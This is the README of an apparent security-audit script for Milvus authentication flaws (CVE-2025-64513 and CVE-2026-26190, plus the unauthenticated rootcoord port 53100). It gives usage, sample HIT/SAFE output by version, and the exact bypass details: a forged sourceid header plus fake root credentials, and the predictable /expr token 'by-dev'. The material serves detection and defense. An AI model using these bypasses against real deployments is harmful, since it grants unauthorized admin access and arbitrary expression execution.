
Script di rilevamento della sicurezza dell'autenticazione Milvus: CVE-2025-64513 (backdoor sourceid) / CVE-2026-26190 (token debole /expr) / porta interna 53100
Script di verifica della sicurezza dell'autenticazione di Milvus. Rileva tre difetti di autenticazione:
| Difetto | CVE | Versioni interessate | Metodo di rilevamento |
|---|---|---|---|
| Backdoor sourceid che bypassa l'autenticazione | CVE-2025-64513 | < 2.4.24 / < 2.5.21 / < 2.6.5 | gRPC ListDatabases + injection sourceid |
| Token debole /expr sulla porta di gestione | CVE-2026-26190 | < 2.5.27 / < 2.6.10 | HTTP /expr?code=1%2B1&auth=by-dev (il parametro code deve essere codificato in URL) |
| Porta interna rootcoord 53100 senza autenticazione | — | < 2.6.10 (dalla 2.6.10 non è più in ascolto) | Connessione gRPC diretta a RootCoordService |
# proxy 层检测(sourceid 后门 + /expr 弱 token)
python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 --mgmt-port 9091
# 完整检测(含内部端口,需容器网络内可达)
python3 milvus-auth-audit.py --host <容器IP> --port 19530 --mgmt-port 9091 --internal-port 53100
Parametri:
--host: indirizzo del proxy Milvus--port: porta gRPC del proxy (default 19530)--mgmt-port: porta di gestione (default 9091, dove si trova /expr)--internal-port: porta interna (rootcoord default 53100, passare 0 per saltare)--cve-check: stampa le informazioni sulle versioni interessate dai CVEpip install grpcio protobuf
Le chiamate gRPC richiedono il codice Python generato dalle definizioni dei proto (milvus_pb2_grpc.py, root_coord_pb2_grpc.py, ecc.), da collocare nella sottodirectory proto/ nella stessa directory dello script. Per generarli:
# 1. 拉 milvus-proto 仓库
git clone https://github.com/milvus-io/milvus-proto.git
# 2. 拉 milvus 源码(内部 proto:root_coord.proto / internal.proto / proxy.proto 等)
git clone https://github.com/milvus-io/milvus.git
# 3. 生成(milvus 内部 proto 在 milvus/pkg/proto/ 下)
pip install grpcio-tools
python3 -m grpc_tools.protoc -I milvus-proto/proto -I milvus/pkg/proto \
--python_out=proto --grpc_python_out=proto \
milvus-proto/proto/milvus.proto milvus/pkg/proto/root_coord.proto \
milvus/pkg/proto/internal.proto milvus/pkg/proto/proxy.proto
=== 2.6.4 ===
[*] 目标: 172.22.0.4:19530 管理端口: 9091
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 后门绕过认证, 数据库=['default'] -> HIT
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 3 个可利用认证缺陷
=== 2.6.5 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 任意表达式执行 (auth=by-dev) -> HIT
[exploit] 内部端口未认证, 数据库=['default'] -> HIT
[!] 发现 2 个可利用认证缺陷
=== 2.6.10 ===
[check] 认证状态: 已开启认证(authorizationEnabled=true)
[verify] sourceid 被拒绝 -> SAFE
[verify] /expr 已默认禁用 -> SAFE
[exploit] 端口不可达 -> SAFE
[+] 未发现认证缺陷
internal/proxy/authentication_interceptor.go, validSourceID() controlla l'header sourceId; se il valore decodificato in base64 è uguale a @@milvus-member@@, l'intero ramo di autenticazione viene saltato. Si tratta del meccanismo di trust tra componenti interni (PerRPCCredentials in grpcclient/auth.go), ma senza alcuna verifica dell'origine, quindi può essere contraffatto dall'esterno. Catena di sfruttamento completa: sourceid + authorization=base64("root:假密码") = full admin (il proxy salta la verifica e lascia passare l'identità falsa così com'è)./expr sulla porta di gestione 9091 usa un token di autenticazione derivato da etcd.rootPath (di default by-dev), completamente prevedibile, e consente di eseguire espressioni expr-lang arbitrarie. Dalla 2.6.10 è controllato da common.security.exprEnabled, disattivato di default.AuthenticationInterceptor è registrato solo sul proxy (19530); il server gRPC interno di rootcoord (53100) non ha autenticazione. Una connessione diretta non autenticata all'interno della rete del container è sufficiente per ottenere full admin. Dalla 2.6.10 questa porta non è più in ascolto.Da utilizzare esclusivamente per test di sicurezza in ambienti autorizzati. Non utilizzarlo su sistemi non autorizzati.